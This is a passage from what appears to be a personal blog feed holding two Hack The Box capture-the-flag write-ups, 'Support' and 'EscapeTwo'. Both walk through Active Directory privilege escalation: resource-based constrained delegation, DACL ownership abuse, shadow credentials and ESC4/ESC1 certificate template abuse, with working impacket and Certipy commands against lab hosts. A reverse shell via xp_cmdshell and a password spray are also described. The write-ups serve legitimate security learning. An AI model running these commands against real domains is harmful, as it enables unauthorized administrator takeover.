<p>I load the new data into <code>BloodHound</code> and dig through the info and find an ACL that gives us a privilege escalation path: <code>support</code> is a member of the <code>Shared Support Accounts</code> group, which gives the account <code>GenericAll</code> over <code>DC.support.htb</code>, the computer object.</p>

<p>Normally, if we had <code>GenericAll</code> over a user account we could do a shadow credential attack; however, since we have the permission over a computer object, we will use a resource-based constrained delegation attack. All of this information on how to perform the attack is listed in <code>BloodHound</code>, with examples.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>The crux of this attack is, by having <code>GenericAll</code>, we can set the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> on the target computer to a computer account we control (I&#39;ll get into that in a second). Next, we have the computer account we control request a <code>S4U2Self</code> extension to itself as <code>Administrator</code>, then finally request a <code>S4U2Proxy</code> extension to the target computer, retraining the <code>Administrator</code> username in the extension. This gives us a Ticket Granting Service (TGS) ticket that we can use to authenticate as <code>Administrator</code> on the target machine. Here&#39;s a full breakdown of how it occurred:</p>
<ol><li>The first step of this attack is to create a computer account. Normally, regular users are allowed to create computer accounts by default, so this is not out of the ordinary. We specifically need a computer account and not a user account because user accounts do not normally contain Service Principal Names (SPNs) that are needed for Kerberos to assign the S4U2Self/S4U2Proxy extensions. I use <code>impacket</code>&#39;s <code>addcomputer</code> script to create a new computer account with the following command:</li></ol>

<pre><code class="language-shell">impacket-addcomputer -method LDAPS -computer-name &#39;ATTACKERSYSTEM$&#39; -computer-pass &#39;Summer2018!&#39; -dc-host 10.129.230.181 -domain-netbios support.htb -support.htb/support:password&#39;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007908/Pasted_image_20260120160527_vzdq9y.png" alt=""></p>
<ol><li>I now add the newly created computer account in the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute. Setting this attribute allows the attacker computer to request the S4U2Proxy extension from Kerberos. To do this I use <code>impacket</code>&#39;s <code>rbcd</code> program with the following command:</li></ol>

<pre><code class="language-shell">impacket-rbcd support.htb/support:password -delegate-from &#39;ATTACKERSYSTEM$&#39; -delegate-to &#39;dc$&#39; -action &#39;write&#39;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007908/Pasted_image_20260120160422_ldmmq0.png" alt=""></p>
<ol><li>Finally, we can request the request the S4U2Self and S4U2Proxy extensions with a single script. This will make a request to Kerberos for <code>ATTACKERSYSTEM$</code> to get a S4U2Self extension as <code>Administrator</code> on itself, then it will request a S4U2Proxy extension on the target system as <code>Administrator</code>. Kerberos checks the <code>msDS-AllowedToActOnBehalfOfOtherIdentity</code> attribute and if the <code>ATTACKERSYSTEM$</code> is there, which we did in step 2, it grants the TGS. <code>impacket</code> once again has a script for this, <code>getST</code>:</li></ol>

<pre><code class="language-shell">impacket-getST support.htb/ATTACKERSYSTEM$:Summer2018! -spn &#39;cifs/dc.support.htb&#39; -impersonate -Administrator
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007910/Pasted_image_20260120161840_pvpt1o.png" alt=""></p>

<p>I think its interesting to note here, the targeted SPN is for <code>CIFS</code>, Common Internet File System, which is the protocol Windows uses for file and printer sharing over a network (basically SMB). Why this leads to remote code execution is interesting: By requesting CIFS, it gives us access to the <code>ADMIN$</code> share drive and it gives us access to named pipes. <code>Impacket-PsExec</code> copies a small executable <code>psexecsvc.exe</code>, to the computer then connects to the Service Control Manager (SCM) which gives RPC over SMB using named pipes. <code>PsExec</code> tells the SCM to create a service for <code>psexecsvc.exe</code> as <code>SYSTEM</code>, start it, and redirect all input and output to the named pipes created by <code>psexecsbc.exe</code>. This gives remote code execution over the machine while only having CIFS access. Very cool, also terrifying.</p>

<p>The ticket can be used for Kerberos authentication, then we can use <code>impacket-psexec</code> and authenticate using our Kerberos ticket to get remote access as <code>SYSTEM</code>.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007912/Pasted_image_20260120161905_cbj7s1.png" alt=""></p>

<h2 id="lessons-learned">Lessons Learned</h2>

<p>I learned a ton from this box, I was really feel confident after doing a lot of HTB Academy modules and this box put me in my place. It shows me that I need to have a hard focus on understanding what tools provide what information, and what information actually exists. My focus will continue to be on using various tool and methods to accomplish tasks. I need to focus more on being stealthy, most of the programs I&#39;m transferring to the host have no changes done at all and would be picked up by a modern antivirus instantly. I also want to focus on understanding what types of enumerations get detected by IDS/IPS systems. I&#39;ll be setting up a lab that will have an IDS system and running traffic through there to see what kinds of things get detected across the network. Lastly, I am not much of a coder, but understanding software even at a basic level would have gotten me further without having to look up the guided mode. I want to write more scripts and do more reverse engineer.</p>

<h2 id="extended-dacl">Extended DACL</h2>

<p>My goal with this section for me is to find “the smoking gun” in the DACL list for three separate tools: <code>BloodHound</code>, <code>PowerView</code>, and <code>dsacls</code>. When I say “smoking gun”, I mean a line of output that tells me this is the path to privilege escalation. I hope to do more of these as I do more writeups.</p>

<h3 id="bloodhound">BloodHound</h3>

<p>For <code>BloodHound</code>, its very simple. BloodHound collects so much data and organizes it in such a way that it is easy to immediately recognize the opportunity. Not only is it easy to recognize, the program tells you exactly how to abuse it. The sidebar of the program even tells you that you can abuse this to conduct a Resource-Based Constrained Delegation attack. This is our “smoking gun” for BloodHound and it is very simple.</p>

<p>In the screenshot below, we can see <code>support</code> is a user we have “owned”, so we have full control over. <code>support</code> is a member of <code>Shared Support Accounts</code>, which has <code>GenericAll</code> over the <code>DC.support.htb</code> computer object. This means that <code>support</code> inherits those permissions from the group and has <code>GenericAll</code> over the object.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007913/Pasted_image_20260121090305_k90zi1.png" alt=""></p>

<h3 id="powerview">PowerView</h3>

<p>PowerView is a PowerShell tool that is power of PowerSploit that focuses on penetration testing. For what we&#39;re doing here, we&#39;re using the <code>Get-ObjectAcl</code> cmdlet to enumerate DACL on an object.</p>

<p>The information is a bit harder to parse because we&#39;re collecting significantly less of it and its not really organized in a specific way unless we use a lot of the filters available. We can identify the “smoking gun” in this case by seeing that <code>GenericAll</code> is granted to a ObjectSID that matches the SID of our <code>Shared Support Accounts</code> group.</p>

<p>The command used to generate this output was:</p>

<pre><code class="language-powershell">Get-ObjectAcl -Identity &#34;CN=DC,OU=DOMAIN CONTROLLERS,DC=SUPPORT,DC=HTB&#34; -ResolveGUIDs -RightsFilter &#34;All&#34;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007914/Pasted_image_20260121092641_dtrmp7.png" alt=""></p>

<p>Keep in mind, this section is a part of four that are returned, I thought the <code>-ResolveGUIDs</code> would resolve the SIDs but it doesn&#39;t seem to. I checked the SID of the group <code>Shared Support Accounts</code>, and it matches the SID in the <code>SecurityIdentifier</code> field. The documents for the program can be found <a href="https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainObjectAcl/">here</a>.</p>

<h3 id="dsacls">dsacls</h3>

<p><code>dsacls</code> is a built-in command line tool for viewing and changing permissions and security attributes of Active Directory objects. To use <code>dsacls</code>, the user must have read permissions on Active Directory objects, and to write the user must have write permissions to the Active Directory objects. The tool is relatively simple to use and is quite powerful, I&#39;ll be attempting to use this as my primary means of enumerating DACL once I&#39;ve gotten access.</p>

<p>The command produces a lot of information and its not as easy to parse because its not an object like <code>PowerView</code>&#39;s, so if you have a lot of data to sift through it will take a long time until you can script it.</p>

<p>The command used to produce the output below is, I&#39;ve marked it as <code>cmd</code> since it will work in <code>cmd</code> as well as <code>PowerShell</code>:</p>

<pre><code class="language-cmd">dsacls.exe &#34;CN=DC,OU=Domain Controllers,DC=SUPPORT,DC=HTB&#34;
</code></pre>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1769007918/Pasted_image_20260121093230_gcdmzu.png" alt=""></p>

<p>Thanks for reading, hope you learned something.</p>
]]></content:encoded>
      <guid>https://blog.jjnetops.net/support</guid>
      <pubDate>Wed, 21 Jan 2026 15:08:00 +0000</pubDate>
    </item>
    <item>
      <title>EscapeTwo</title>
      <link>https://blog.jjnetops.net/escapetwo</link>
      <description>&lt;![CDATA[EscapeTwo is an easy difficulty Windows box. The box is focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse, shadow credential attacks, and attacking a weak template for privilege escalation.&#xA;!--more--&#xA;This box is an &#34;assumed breach&#34; scenario, where you are provided credentials as a low-privilege user. The box was enjoyable for me, and it is quite difficult for an &#34;easy&#34; box. Something worth noting is that it breaks from traditional Hack the Box environments in that the domain for this box is &#34;sequel.htb&#34; rather than the name of the machine. If you see screenshots or commands with &#34;sequel.htb&#34;, know that is the domain and not &#34;EscapeTwo&#34;.&#xA;&#xA;This box was done in two parts, one before the holiday break, and the other after the holiday break. I may not have as many screenshots as I would like and it may be more fragmented than others but hopefully it has enough information to provide a clear indication of my thought process.&#xA;&#xA;Contents&#xA;Tools Used&#xA;nmap scan&#xA;Initial Enumeration&#xA;    Unprotected SMB Shares&#xA;    BloodHound&#xA;    Certipy&#xA;Lateral Movement&#xA;Privilege Escalation&#xA;Lessons Learned&#xA;&#xA;Tools Used&#xA;&#xA;nmap - Network mapping tool, used to enumerate a device.&#xA;BloodHound - An application that ingests collector data to provide a view of the relationships between different AD users and accounts.&#xA;enum4linux-ng - A tool for enumerating Windows computers through LDAP and RPC queries.&#xA;net - Part of the samba suite, tools for interacting with the SMB Windows protocol.&#xA;evil-winrm - A shell to interact with the WinRM protocol originally, but now works with PSRP, the PowerShell equivalent.&#xA;impacket - A collection of tools, although I specifically used mssqlclient, owneredit, and dacledit, which allows you to maliciously interact with a Windows system.&#xA;BloodHound.py - A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups.&#xA;Certipy - A multi-function tool for attacking Windows AD environments. It can be used for shadow attacks, attacking weak certificate templates, and can act as an NTLM relay.&#xA;LaZagne - A password scraper that is run locally, although it didn&#39;t work for me for some reason I&#39;ll continue to try this. This program works on both Linux and Windows systems.&#xA;Snaffler - A password scraper that is run local, only on Windows. I did not get this to work correctly but I&#39;ll try again in the future.&#xA;&#xA;nmap scan&#xA;&#xA;The nmap scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is DC01.sequel.htb, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with Microsoft SQL Server 2019. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using smbclient with the provided credentials and using enum4linux to enumerate the domain a bit.&#xA;&#xA;Initial Enumeration&#xA;&#xA;For the initial enumeration, I see there are two unprotected SMB shares that the breached user rose has access to named Users which directs us to what seems like the Public user profile on the box, and Accounting Department, which contains a few Excel documents. The data from enum4linux shows several user accounts on the box, including some seemingly service accounts such as sqlsvc and casvc. The casvc account indicates to me that this box is likely also a Certificate Authority and may have templates worth enumerating, which I do with Certipy. I run the python BloodHound.py collector against the box to enumerate the AD DACL. I&#39;ll go over each tool and what important information they provided.&#xA;&#xA;Unprotected SMB Shares&#xA;&#xA;In the Accounting Department share, we find Excel documents, one of them contains credentials for some users in the Accounting department and a SQL admin password.&#xA;&#xA;I tried logging in as the oscar user, who has a domain account unlike the other accounting users, but does not have remote logon capability. oscar is a member of the Accounting Department AD group but I cannot figure out if that group has any different access, maybe it is what allows the account to remotely connect to the MSSQL server? I&#39;ll show more about what we can do with the credentials after showing some of the other enumeration steps.&#xA;&#xA;BloodHound&#xA;&#xA;I ran the collector to enumerate the AD DACL, and found what seemed like an attack path. By seeing the relationships between user accounts and groups I can see that the ryan user has WriteOwner over casvc, which is likely a privileged service account of some type. This makes getting credentials to the ryan user my goal for privilege escalation. I also see what I mentioned above, oscar is a member of Accounting Department, but what that entails I do not know.&#xA;&#xA;Certipy&#xA;&#xA;Since the box is a Certificate Authority, it has certificate templates that machines or users can enroll in to obtain certificates. We can escalate privileges using these certificate templates by looking for misconfigured or weak templates. I used Certipy to enumerate the templates. Although I did not take any screenshots of this (sorry), I observed that the non-default template DunderMifflinAuthentication was marked as vulnerable to ESC4. This is because the template allows full control permissions for a specific group, Cert Publishers in this case, which casvc is a member of. Additionally, the ryan user has WriteOwner permissions over casvc.&#xA;&#xA;Do you see the escalation path? If we can move laterally to ryan, we have a full path to privilege escalation. Unfortunately, I do not have any screenshots of the Certipy output as the rose user, but you will see the output below when we go over the privilege escalation.&#xA;&#xA;Lateral Movement&#xA;&#xA;With my goal clearly identified, obtaining control over the ryan user account, I begin looking at what can be done. We have more to enumerate through the MSSQL database. I begin enumerating that and looking for password hashes that can be cracked. I interact with the MSSQL database through the impacket-mssqlclient program, which make enumeration easy. Unfortunately the database is bare and does not contain any helpful information; however, when logging in as the default sa account with the password pulled from the Accounting Department documents, I can get remote code execution through xpcmdshell, which spawns a cmd shell and executes any commands you pass it as the SQL Server service account.&#xA;&#xA;With remote code execution, my next goal is to get remote access to the system. I use Reverse Shell Generator to generate a base64 encoded powershell string which I pass in the xpcmdshell command and get remote access as the sqlsvc user account.&#xA;&#xA;At this point I got stuck looking for passwords or access to the ryan account, I dug around a lot and used password scrapers like LaZagne.exe and Snaffler.exe to try to find the password. Nothing was turning up, and I&#39;m convinced I was using these tools incorrectly, because based on where I did find the password, it seemed very easy for a script to find it. I&#39;ll work on using these tools more in the future, because manually enumerating a file system looking at every line of text will quickly drive someone mad.&#xA;&#xA;At this point I go on winter break and don&#39;t come back to the box for another three weeks. With a fresh perspective I begin digging again and locate a configuration file for the MSSQL database that contains a password for the sqlsvc account. Thinking I have nothing else to do with this password, I password spray this across all of the accounts, and wouldn&#39;t you know it, its the password to the ryan account. I confirm I have remote access as ryan and begin the process of privilege escalation.&#xA;&#xA;Privilege Escalation&#xA;&#xA;I have a clear attack path in mind from here: use the ryan account to change the owner of the casvc account and give full control to ryan, with the casvc account (a member of Cert Publishers), we can make changes to the DunderMifflinAuthentication certificate template to make it compatible with the ESC1 privilege escalation where we provide the username and SID we want a certificate for, then fudge the request to make the certificate for administrator, authenticate as the administrator account with the certificate, and finally get the NTLM hash that allows authentication as administrator.&#xA;&#xA;I start this process by abusing the WriteOwner permission in the AD DACL, I set ryan as the owner of casvc using impacket-owneredit, then give ryan full control over the casvc account using impacket-dacledit. At this point I try to change the password on the casvc account using net rpc, but it seems like the box has a script that is constantly resetting the passwor and the DACL back to the original settings, so it caused problems during the whole process. Instead of changing the password, I do a shadow credential attack against the casvc account, using Certipy for this (what a great tool), that gives me the NTLM hash of the casvc account, so I can authenticate as this account without the DACL or password having to be constantly changed.&#xA;&#xA;The commands I ran quickly to get the NTLM hash were:&#xA;&#xA;impacket-owneredit -action write -new-owner &#39;ryan&#39; -target-dn LOTSOFDATA &#39;sequel.htb&#39;/ryan:password -dc-ip 10.129.232.128&#xA;&#xA;impacket-dacledit -action write -rights &#39;FullControl&#39; -principal &#39;ryan&#39; -target &#39;casvc&#39; &#39;sequel.htb&#39;/ryan:password&#xA;&#xA;certipy shadow auto -account &#39;casvc&#39; -dc-ip 10.129.232.128 -u &#39;ryan&#39; -p &#39;password&#39;&#xA;The LOTSOFDATA section here is the domain information you get from the Certipy enumeration.&#xA;&#xA;With the NTLM of the casvc account, I use Certipy again to enumerate the templates. Here Certipy tells me the DunderMifflinAuthentication template is weak because the user has dangerous permissions over the template.&#xA;&#xA;Now to modify the template, Certipy has a default configuration we can use that makes it vulnerable to ESC1, so we do that.&#xA;&#xA;certipy template -u &#39;casvc&#39; -hashes nthash -dc-ip 10.129.232.128 -template &#39;DunderMifflinAuthentication&#39; -write-default-configuration&#xA;&#xA;This also saves a copy of the original template so that after you escalate privileges, you can revert the changes to cover your tracks.&#xA;&#xA;Here is the template with the changes made, where it notates now that it is vulnerable to ESC1:&#xA;&#xA;It is worth noting here, that all of these values are being reset every five or ten minutes, so you have to move with some speed otherwise it might overwrite back to the original settings. I do not know if that is true for the template, but it certain is for the user accounts.&#xA;&#xA;I make the certificate request as ryan and supply the username and SID of the user I wish to get the certificate for, administrator in this case.&#xA;&#xA;certipy req -u &#39;ryan&#39; -p &#39;password&#39; -dc-ip 10.129.232.128 -target &#39;dc01.sequel.htb&#39; -ca &#39;sequel-DC01-CA&#39; -template &#39;DunderMifflinAuthentication&#39; -upn &#39;administrator@sequel.htb&#39; -sid &#39;admin sid&#39;&#xA;&#xA;certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.129.232.128&#xA;&#xA;After I request the certificate, I get a .pfx file that contains the certificate for the administrator user. I use Certipy again to authenticate as that user and get the NTLM hash that allows me to remotely authenticate as administrator and grab the flag.&#xA;&#xA;Lessons Learned&#xA;&#xA;My biggest takeaways from this box are that I need to be better at scraping/spidering these filesystems for relevant files. I&#39;m clearly using Snaffler and LaZagne incorrectly, as the file that had the password I needed literally has the line &#34;Password: blahblah&#34;, which should be the first thing anything should match on. I also want to stop relying on BloodHound so much, the collectors are incredibly &#34;noisy&#34; programs, so any modern IDS system would recognize what is happening. Native PowerShell allows enumeration of DACL, so on the next AD box I do, I&#39;ll be going really in-depth into enumerating using just PowerShell, and having BloodHound data on the side to compare and contrast. I believe the base64 PowerShell reverse shell is also easy to spot, so I want to look at encrypted reverse shells soon without having to use Meterpreter because its not allowed on the OSCP.&#xA;&#xA;]]&gt;</description>
      <content:encoded><![CDATA[<p>EscapeTwo is an easy difficulty Windows box. The box is focused on Active Directory (AD) Discretionary Access Control List (DACL) abuse, shadow credential attacks, and attacking a weak template for privilege escalation.

This box is an “assumed breach” scenario, where you are provided credentials as a low-privilege user. The box was enjoyable for me, and it is quite difficult for an “easy” box. Something worth noting is that it breaks from traditional Hack the Box environments in that the domain for this box is “sequel.htb” rather than the name of the machine. If you see screenshots or commands with “sequel.htb”, know that is the domain and not “EscapeTwo”.</p>

<p>This box was done in two parts, one before the holiday break, and the other after the holiday break. I may not have as many screenshots as I would like and it may be more fragmented than others but hopefully it has enough information to provide a clear indication of my thought process.</p>

<h2 id="contents">Contents</h2>
<ul><li><a href="#tools-used">Tools Used</a></li>
<li><a href="#nmap-scan">nmap scan</a></li>
<li><a href="#initial-enumeration">Initial Enumeration</a>
<ul><li><a href="#unprotected-smb-shares">Unprotected SMB Shares</a></li>
<li><a href="#bloodhound">BloodHound</a></li>
<li><a href="#certipy">Certipy</a></li></ul></li>
<li><a href="#lateral-movement">Lateral Movement</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
<li><a href="#lessons-learned">Lessons Learned</a></li></ul>

<h2 id="tools-used">Tools Used</h2>

<p><a href="https://nmap.org">nmap</a> – Network mapping tool, used to enumerate a device.
<a href="https://github.com/SpecterOps/BloodHound">BloodHound</a> – An application that ingests collector data to provide a view of the relationships between different AD users and accounts.
<a href="https://github.com/cddmp/enum4linux-ng">enum4linux-ng</a> – A tool for enumerating Windows computers through LDAP and RPC queries.
<a href="https://linux.die.net/man/8/net">net</a> – Part of the samba suite, tools for interacting with the SMB Windows protocol.
<a href="https://github.com/Hackplayers/evil-winrm">evil-winrm</a> – A shell to interact with the WinRM protocol originally, but now works with PSRP, the <code>PowerShell</code> equivalent.
<a href="https://github.com/fortra/impacket">impacket</a> – A collection of tools, although I specifically used <code>mssqlclient</code>, <code>owneredit</code>, and <code>dacledit</code>, which allows you to maliciously interact with a Windows system.
<a href="https://github.com/dirkjanm/BloodHound.py">BloodHound.py</a> – A collector for BloodHound that is written in Python and can be run remotely. It is worth noting that this collector cannot enumerate GPO local groups.
<a href="https://github.com/ly4k/Certipy">Certipy</a> – A multi-function tool for attacking Windows AD environments. It can be used for shadow attacks, attacking weak certificate templates, and can act as an NTLM relay.
<a href="https://github.com/AlessandroZ/LaZagne">LaZagne</a> – A password scraper that is run locally, although it didn&#39;t work for me for some reason I&#39;ll continue to try this. This program works on both Linux and Windows systems.
<a href="https://github.com/SnaffCon/Snaffler">Snaffler</a> – A password scraper that is run local, only on Windows. I did not get this to work correctly but I&#39;ll try again in the future.</p>

<h2 id="nmap-scan">nmap scan</h2>

<p>The <code>nmap</code> scan has the usual ports open for a Windows AD box: Kerberos, MSRPC, LDAP, etc. I see the hostname of the box is <code>DC01.sequel.htb</code>, so based on the naming convention its a good guess that this is a domain controller. The one unusual port that is on and listening is TCP port 1433 with <code>Microsoft SQL Server 2019</code>. I could have poked and prodded this SQL server a bit to see if maybe guest accounts were enabled, and in the future I likely will, but instead I went directly to mapping SMB shares using <code>smbclient</code> with the provided credentials and using <code>enum4linux</code> to enumerate the domain a bit.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429880/Pasted_image_20251219190426_orjwxz.png" alt=""></p>

<h2 id="initial-enumeration">Initial Enumeration</h2>

<p>For the initial enumeration, I see there are two unprotected SMB shares that the breached user <code>rose</code> has access to named <code>Users</code> which directs us to what seems like the <code>Public</code> user profile on the box, and <code>Accounting Department</code>, which contains a few Excel documents. The data from <code>enum4linux</code> shows several user accounts on the box, including some seemingly service accounts such as <code>sql_svc</code> and <code>ca_svc</code>. The <code>ca_svc</code> account indicates to me that this box is likely also a Certificate Authority and may have templates worth enumerating, which I do with <code>Certipy</code>. I run the python <code>BloodHound.py</code> collector against the box to enumerate the AD DACL. I&#39;ll go over each tool and what important information they provided.</p>

<h3 id="unprotected-smb-shares">Unprotected SMB Shares</h3>

<p>In the <code>Accounting Department</code> share, we find Excel documents, one of them contains credentials for some users in the Accounting department and a SQL admin password.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429880/Pasted_image_20251219191125_e9eka3.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429883/Pasted_image_20251219195404_e5y2ux.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429883/Pasted_image_20251219195309_hyokf5.png" alt=""></p>

<p>I tried logging in as the <code>oscar</code> user, who has a domain account unlike the other accounting users, but does not have remote logon capability. <code>oscar</code> is a member of the <code>Accounting Department</code> AD group but I cannot figure out if that group has any different access, maybe it is what allows the account to remotely connect to the MSSQL server? I&#39;ll show more about what we can do with the credentials after showing some of the other enumeration steps.</p>

<h3 id="bloodhound">BloodHound</h3>

<p>I ran the collector to enumerate the AD DACL, and found what seemed like an attack path. By seeing the relationships between user accounts and groups I can see that the <code>ryan</code> user has <code>WriteOwner</code> over <code>ca_svc</code>, which is likely a privileged service account of some type. This makes getting credentials to the <code>ryan</code> user my goal for privilege escalation. I also see what I mentioned above, <code>oscar</code> is a member of <code>Accounting Department</code>, but what that entails I do not know.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429881/Pasted_image_20251219192827_qv3khn.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429882/Pasted_image_20251219193120_octusz.png" alt=""></p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429880/Pasted_image_20251219192749_zpnpab.png" alt=""></p>

<h3 id="certipy">Certipy</h3>

<p>Since the box is a Certificate Authority, it has certificate templates that machines or users can enroll in to obtain certificates. We can escalate privileges using these certificate templates by looking for misconfigured or weak templates. I used <code>Certipy</code> to enumerate the templates. Although I did not take any screenshots of this (sorry), I observed that the non-default template DunderMifflinAuthentication was marked as vulnerable to <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc4-template-hijacking">ESC4</a>. This is because the template allows full control permissions for a specific group, <code>Cert Publishers</code> in this case, which <code>ca_svc</code> is a member of. Additionally, the ryan user has <code>WriteOwner</code> permissions over ca_svc.</p>

<p>Do you see the escalation path? If we can move laterally to <code>ryan</code>, we have a full path to privilege escalation. Unfortunately, I do not have any screenshots of the <code>Certipy</code> output as the <code>rose</code> user, but you will see the output below when we go over the privilege escalation.</p>

<h2 id="lateral-movement">Lateral Movement</h2>

<p>With my goal clearly identified, obtaining control over the <code>ryan</code> user account, I begin looking at what can be done. We have more to enumerate through the MSSQL database. I begin enumerating that and looking for password hashes that can be cracked. I interact with the MSSQL database through the <code>impacket-mssqlclient</code> program, which make enumeration easy. Unfortunately the database is bare and does not contain any helpful information; however, when logging in as the default <code>sa</code> account with the password pulled from the <code>Accounting Department</code> documents, I can get remote code execution through <code>xp_cmdshell</code>, which spawns a <code>cmd</code> shell and executes any commands you pass it as the SQL Server service account.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429886/Pasted_image_20251219212025_trscny.png" alt=""></p>

<p>With remote code execution, my next goal is to get remote access to the system. I use <a href="https://www.revshells.com/">Reverse Shell Generator</a> to generate a base64 encoded powershell string which I pass in the <code>xp_cmdshell</code> command and get remote access as the <code>sql_svc</code> user account.</p>

<p>At this point I got stuck looking for passwords or access to the <code>ryan</code> account, I dug around a lot and used password scrapers like <code>LaZagne.exe</code> and <code>Snaffler.exe</code> to try to find the password. Nothing was turning up, and I&#39;m convinced I was using these tools incorrectly, because based on where I did find the password, it seemed very easy for a script to find it. I&#39;ll work on using these tools more in the future, because manually enumerating a file system looking at every line of text will quickly drive someone mad.</p>

<p>At this point I go on winter break and don&#39;t come back to the box for another three weeks. With a fresh perspective I begin digging again and locate a configuration file for the MSSQL database that contains a password for the <code>sql_svc</code> account. Thinking I have nothing else to do with this password, I password spray this across all of the accounts, and wouldn&#39;t you know it, its the password to the <code>ryan</code> account. I confirm I have remote access as <code>ryan</code> and begin the process of privilege escalation.</p>

<h2 id="privilege-escalation">Privilege Escalation</h2>

<p>I have a clear attack path in mind from here: use the <code>ryan</code> account to change the owner of the <code>ca_svc</code> account and give full control to <code>ryan</code>, with the <code>ca_svc</code> account (a member of <code>Cert Publishers</code>), we can make changes to the <code>DunderMifflinAuthentication</code> certificate template to make it compatible with the <a href="https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc1-enrollee-supplied-subject-for-client-authentication">ESC1</a> privilege escalation where we provide the username and SID we want a certificate for, then fudge the request to make the certificate for <code>administrator</code>, authenticate as the <code>administrator</code> account with the certificate, and finally get the NTLM hash that allows authentication as <code>administrator</code>.</p>

<p>I start this process by abusing the <code>WriteOwner</code> permission in the AD DACL, I set <code>ryan</code> as the owner of <code>ca_svc</code> using <code>impacket-owneredit</code>, then give <code>ryan</code> full control over the <code>ca_svc</code> account using <code>impacket-dacledit</code>. At this point I try to change the password on the <code>ca_svc</code> account using <code>net rpc</code>, but it seems like the box has a script that is constantly resetting the passwor and the DACL back to the original settings, so it caused problems during the whole process. Instead of changing the password, I do a shadow credential attack against the <code>ca_svc</code> account, using <code>Certipy</code> for this (what a great tool), that gives me the NTLM hash of the <code>ca_svc</code> account, so I can authenticate as this account without the DACL or password having to be constantly changed.</p>

<p>The commands I ran quickly to get the NTLM hash were:</p>

<pre><code class="language-shell">impacket-owneredit -action write -new-owner &#39;ryan&#39; -target-dn LOTSOFDATA &#39;sequel.htb&#39;/ryan:password -dc-ip 10.129.232.128

impacket-dacledit -action write -rights &#39;FullControl&#39; -principal &#39;ryan&#39; -target &#39;ca_svc&#39; &#39;sequel.htb&#39;/ryan:password

certipy shadow auto -account &#39;ca_svc&#39; -dc-ip 10.129.232.128 -u &#39;ryan&#39; -p &#39;password&#39;
</code></pre>

<p>The <code>LOTSOFDATA</code> section here is the domain information you get from the <code>Certipy</code> enumeration.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429890/Pasted_image_20260111102107_ovsxcw.png" alt=""></p>

<p>With the NTLM of the <code>ca_svc</code> account, I use <code>Certipy</code> again to enumerate the templates. Here <code>Certipy</code> tells me the <code>DunderMifflinAuthentication</code> template is weak because the user has dangerous permissions over the template.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429887/Pasted_image_20260111100344_dlcbix.png" alt=""></p>

<p>Now to modify the template, <code>Certipy</code> has a default configuration we can use that makes it vulnerable to ESC1, so we do that.</p>

<pre><code class="language-shell">certipy template -u &#39;ca_svc&#39; -hashes nthash -dc-ip 10.129.232.128 -template &#39;DunderMifflinAuthentication&#39; -write-default-configuration
</code></pre>

<p>This also saves a copy of the original template so that after you escalate privileges, you can revert the changes to cover your tracks.</p>

<p>Here is the template with the changes made, where it notates now that it is vulnerable to ESC1:</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429891/Pasted_image_20260111103053_oogiay.png" alt=""></p>

<p>It is worth noting here, that all of these values are being reset every five or ten minutes, so you have to move with some speed otherwise it might overwrite back to the original settings. I do not know if that is true for the template, but it certain is for the user accounts.</p>

<p>I make the certificate request as <code>ryan</code> and supply the username and SID of the user I wish to get the certificate for, <code>administrator</code> in this case.</p>

<pre><code class="language-shell">certipy req -u &#39;ryan&#39; -p &#39;password&#39; -dc-ip 10.129.232.128 -target &#39;dc01.sequel.htb&#39; -ca &#39;sequel-DC01-CA&#39; -template &#39;DunderMifflinAuthentication&#39; -upn &#39;administrator@sequel.htb&#39; -sid &#39;admin sid&#39;

certipy auth -pfx &#39;administrator.pfx&#39; -dc-ip 10.129.232.128
</code></pre>

<p>After I request the certificate, I get a .pfx file that contains the certificate for the <code>administrator</code> user. I use <code>Certipy</code> again to authenticate as that user and get the NTLM hash that allows me to remotely authenticate as <code>administrator</code> and grab the flag.</p>

<p><img src="https://res.cloudinary.com/dnoisbxzx/image/upload/v1768429880/Pasted_image_20260111104407_oelmsd.png" alt=""></p>

<h2 id="lessons-learned">Lessons Learned</h2>

